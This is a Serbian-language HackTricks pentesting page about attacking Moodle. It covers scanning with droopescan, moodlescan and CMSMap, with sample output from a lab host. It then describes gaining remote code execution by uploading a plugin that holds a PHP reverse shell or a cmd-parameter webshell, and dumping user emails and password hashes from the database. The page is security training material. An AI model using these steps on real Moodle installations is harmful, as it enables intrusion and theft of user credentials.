Moodle

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Podržite HackTricks

Proverite planove pretplate!
Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
Podelite hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

{% endhint %} {% endhint %}

Bug bounty savet: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Automatske skeniranja

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

Otkrio sam da su automatski alati prilično beskorisni u pronalaženju ranjivosti koje utiču na verziju moodle-a. Možete proveriti ih na https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Morate imati menadžersku ulogu i možete instalirati dodatke unutar "Administracija sajta" taba**:**

Ako ste menadžer, možda ćete još morati da aktivirate ovu opciju. Možete videti kako u moodle privilegijskoj eskalaciji PoC: https://github.com/HoangKien1020/CVE-2020-14321.

Zatim, možete instalirati sledeći dodatak koji sadrži klasični pentest-monkey php rev shell (pre nego što ga otpremite, potrebno je da ga dekompresujete, promenite IP i port revshell-a i ponovo ga kompresujete)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Ili možete koristiti dodatak sa https://github.com/HoangKien1020/Moodle_RCE da dobijete regularni PHP shell sa "cmd" parametrom.

Da biste pokrenuli zlonamerni dodatak, potrebno je da pristupite:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Pronađite kredencijale za bazu podataka

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Izvuci akreditive iz baze podataka

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Bug bounty tip: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)